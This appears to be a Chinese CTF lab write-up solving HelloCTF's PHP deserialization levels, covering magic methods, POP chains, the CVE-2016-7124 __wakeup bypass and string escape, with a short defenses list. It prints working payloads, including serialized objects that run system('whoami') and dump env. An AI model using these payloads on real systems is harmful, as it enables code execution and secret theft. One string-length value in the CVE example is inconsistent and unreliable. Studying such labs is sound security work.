HELLOCTF反序列化靶场全解
字数 1598 2025-08-22 12:22:42

PHP反序列化漏洞全面解析与实战指南

1. 反序列化基础概念

1.1 序列化与反序列化

序列化是将对象转换为可存储或传输的字符串的过程,反序列化则是将字符串重新转换为对象的过程。PHP中使用serialize()unserialize()函数实现这一功能。

1.2 基本序列化格式

  • 对象:O:长度:"类名":属性数量:{属性类型:属性名长度:"属性名";属性值类型:属性值长度:"属性值";...}
  • 字符串:s:长度:"值";
  • 整数:i:值;
  • 布尔值:b:值; (1或0)
  • NULL:N;
  • 数组:a:元素数量:{键类型:键长度:"键名";值类型:值长度:"值";...}

2. 反序列化漏洞基础关卡解析

2.1 关卡2:类值的传递

漏洞点:通过eval()执行用户输入的代码,直接修改类属性值。

class FLAG {
    public $free_flag = "???";
    function get_free_flag(){
        echo $this->free_flag;
    }
}

$target = new FLAG();
$code = $_POST['code'];
eval($code);
$target->get_free_flag();

利用方式

$target->free_flag = $flag_string;

2.2 关卡3:对象中值的权限

知识点

  • public:任何地方可访问
  • protected:自身及子类、父类可访问
  • private:仅定义类可访问

利用方式

echo $target->public_flag.$target->get_protected_flag().$target->get_private_flag();

2.3 关卡4:私有属性序列化

特点:私有属性在序列化时会包含类名前缀和不可见字符%00

利用方式

echo serialize($flag_is_here);
// 输出包含私有属性的序列化字符串

2.4 关卡5:序列化规则

知识点:不同类型数据的序列化格式

利用方式
构造满足条件的序列化字符串:

class a_class {
    public $a_value = "FLAG";
}
$a_object = new a_class();
$a_array = array("a" => "Plz", "b" => "Give_M3");
$a_string = "IWANT";
$a_number = 1;
$a_boolean = true;
$a_null = null;

$exp = "o=".serialize($a_object)."&a=".serialize($a_array)."&s=".serialize($a_string)
      ."&i=".serialize($a_number)."&b=".serialize($a_boolean)."&n=".serialize($a_null);

3. 魔术方法与反序列化

3.1 常见魔术方法

  1. __construct():构造函数,对象创建时调用
  2. __destruct():析构函数,对象销毁时调用
  3. __wakeup():反序列化时调用
  4. __sleep():序列化前调用
  5. __toString():对象被当作字符串时调用
  6. __invoke():对象被当作函数调用时触发

3.2 关卡7:基础反序列化漏洞

漏洞点:直接反序列化用户输入并调用危险方法

class FLAG {
    public $flag_command = "echo 'Hello CTF!<br>';";
    function backdoor(){
        eval($this->flag_command);
    }
}

unserialize($_POST['o'])->backdoor();

利用方式
构造恶意序列化对象:

class FLAG {
    public $flag_command = "system('whoami');";
}
echo serialize(new FLAG());

3.3 关卡8:构造与析构函数

特点

  • __construct()仅在实例化时调用
  • __destruct()在对象销毁时调用

利用方式
通过多次序列化/反序列化触发多次析构:

unserialize(serialize(unserialize(serialize(unserialize(serialize(unserialize(serialize(new RELFLAG())))))));

3.4 关卡9:析构函数后门

利用方式

class FLAG {
    var $flag_command = "echo `env`;";
}
echo urlencode(serialize(new FLAG()));

3.5 关卡10:__wakeup()方法

特点:在反序列化前自动调用

利用方式

class FLAG{
    function __wakeup() {
        include 'flag.php';
        echo $flag;
    }
}
echo serialize(new FLAG());

3.6 关卡11:CVE-2016-7124绕过__wakeup()

漏洞:当序列化字符串中对象属性数量大于实际数量时跳过__wakeup()

利用方式
修改属性数量:

O:4:"FLAG":1:{s:4:"flag";s:8:"fuckflag";} 
改为
O:4:"FLAG":2:{s:4:"flag";s:9:"fuckflag";}

3.7 关卡12:__sleep()方法

特点:在序列化前调用,决定哪些属性被序列化

利用方式

// 通过chance参数控制返回的属性
?chance=%00FLAG%00f

3.8 关卡13:__toString()方法

特点:对象被当作字符串时调用

利用方式

class FLAG {
    function __toString() {
        include 'flag.php';
        return $flag;
    }
}
$obj = new FLAG();
echo $obj;

3.9 关卡14:__invoke()方法

特点:对象被当作函数调用时触发

利用方式

class FLAG {
    function __invoke($x) {
        if ($x == 'get_flag') {
            include 'flag.php';
            echo $flag;
        }
    }
}
$obj = new FLAG();
$obj('get_flag');

4. 高级利用技巧

4.1 关卡15:POP链构造

原理:通过一系列对象属性调用形成攻击链

利用方式

$C = new C("system('env');");
$B = new B($C);
$A = new A($B);
$destnation = new destnation($A);
$D = new d($destnation);
echo serialize($D);

4.2 关卡16:魔术方法链式调用

利用方式

class A {
    public $a = 'flag.php';
    public function __invoke() {
        include $this->a;
        return $flag;
    }
}

class B {
    public $b;
    public function __toString() {
        $f = $this->b;
        return $f();
    }
}

class INIT {
    public $name;
    public function __wakeUp() {
        echo $this->name.' is awake!';
    }
}

$a = new A;
$b = new B;
$init = new INIT;
$b->b = $a;
$init->name = $b;
echo serialize($init);

4.3 关卡17:字符串逃逸基础

原理:利用序列化字符串格式特性注入属性

利用方式

class A{
    public $helloctfcmd = "get_flag";
}
echo serialize(new A());

4.4 关卡18:字符串逃逸进阶

利用方式

// 原始序列化字符串
O:4:"Demo":3:{s:1:"a";s:5:"Hello";s:1:"b";s:3:"CTF";s:3:"key";s:20:"GET_FLAG";}FAKE_FLAG";}

// 通过替换修改
?target[]=Demo&target[]=20&change[]=FLAG&change[]=8

5. 防御措施

  1. 避免反序列化用户输入
  2. 使用json_encode()/json_decode()代替序列化
  3. 实现__wakeup()__destruct()的安全检查
  4. 使用PHP 7.0.10+修复CVE-2016-7124
  5. 对序列化数据进行签名验证

6. 总结

PHP反序列化漏洞的核心在于:

  1. 理解序列化格式和魔术方法调用时机
  2. 掌握属性修饰符的影响
  3. 能够构造POP攻击链
  4. 了解字符串逃逸等高级技巧
  5. 熟悉常见绕过方式如CVE-2016-7124

通过系统学习这些知识点,可以有效挖掘和防御PHP反序列化漏洞。

PHP反序列化漏洞全面解析与实战指南 1. 反序列化基础概念 1.1 序列化与反序列化 序列化是将对象转换为可存储或传输的字符串的过程,反序列化则是将字符串重新转换为对象的过程。PHP中使用 serialize() 和 unserialize() 函数实现这一功能。 1.2 基本序列化格式 对象: O:长度:"类名":属性数量:{属性类型:属性名长度:"属性名";属性值类型:属性值长度:"属性值";...} 字符串: s:长度:"值"; 整数: i:值; 布尔值: b:值; (1或0) NULL: N; 数组: a:元素数量:{键类型:键长度:"键名";值类型:值长度:"值";...} 2. 反序列化漏洞基础关卡解析 2.1 关卡2:类值的传递 漏洞点 :通过 eval() 执行用户输入的代码,直接修改类属性值。 利用方式 : 2.2 关卡3:对象中值的权限 知识点 : public :任何地方可访问 protected :自身及子类、父类可访问 private :仅定义类可访问 利用方式 : 2.3 关卡4:私有属性序列化 特点 :私有属性在序列化时会包含类名前缀和不可见字符 %00 利用方式 : 2.4 关卡5:序列化规则 知识点 :不同类型数据的序列化格式 利用方式 : 构造满足条件的序列化字符串: 3. 魔术方法与反序列化 3.1 常见魔术方法 __construct() :构造函数,对象创建时调用 __destruct() :析构函数,对象销毁时调用 __wakeup() :反序列化时调用 __sleep() :序列化前调用 __toString() :对象被当作字符串时调用 __invoke() :对象被当作函数调用时触发 3.2 关卡7:基础反序列化漏洞 漏洞点 :直接反序列化用户输入并调用危险方法 利用方式 : 构造恶意序列化对象: 3.3 关卡8:构造与析构函数 特点 : __construct() 仅在实例化时调用 __destruct() 在对象销毁时调用 利用方式 : 通过多次序列化/反序列化触发多次析构: 3.4 关卡9:析构函数后门 利用方式 : 3.5 关卡10:__ wakeup()方法 特点 :在反序列化前自动调用 利用方式 : 3.6 关卡11:CVE-2016-7124绕过__ wakeup() 漏洞 :当序列化字符串中对象属性数量大于实际数量时跳过 __wakeup() 利用方式 : 修改属性数量: 3.7 关卡12:__ sleep()方法 特点 :在序列化前调用,决定哪些属性被序列化 利用方式 : 3.8 关卡13:__ toString()方法 特点 :对象被当作字符串时调用 利用方式 : 3.9 关卡14:__ invoke()方法 特点 :对象被当作函数调用时触发 利用方式 : 4. 高级利用技巧 4.1 关卡15:POP链构造 原理 :通过一系列对象属性调用形成攻击链 利用方式 : 4.2 关卡16:魔术方法链式调用 利用方式 : 4.3 关卡17:字符串逃逸基础 原理 :利用序列化字符串格式特性注入属性 利用方式 : 4.4 关卡18:字符串逃逸进阶 利用方式 : 5. 防御措施 避免反序列化用户输入 使用 json_encode() / json_decode() 代替序列化 实现 __wakeup() 和 __destruct() 的安全检查 使用PHP 7.0.10+修复CVE-2016-7124 对序列化数据进行签名验证 6. 总结 PHP反序列化漏洞的核心在于: 理解序列化格式和魔术方法调用时机 掌握属性修饰符的影响 能够构造POP攻击链 了解字符串逃逸等高级技巧 熟悉常见绕过方式如CVE-2016-7124 通过系统学习这些知识点,可以有效挖掘和防御PHP反序列化漏洞。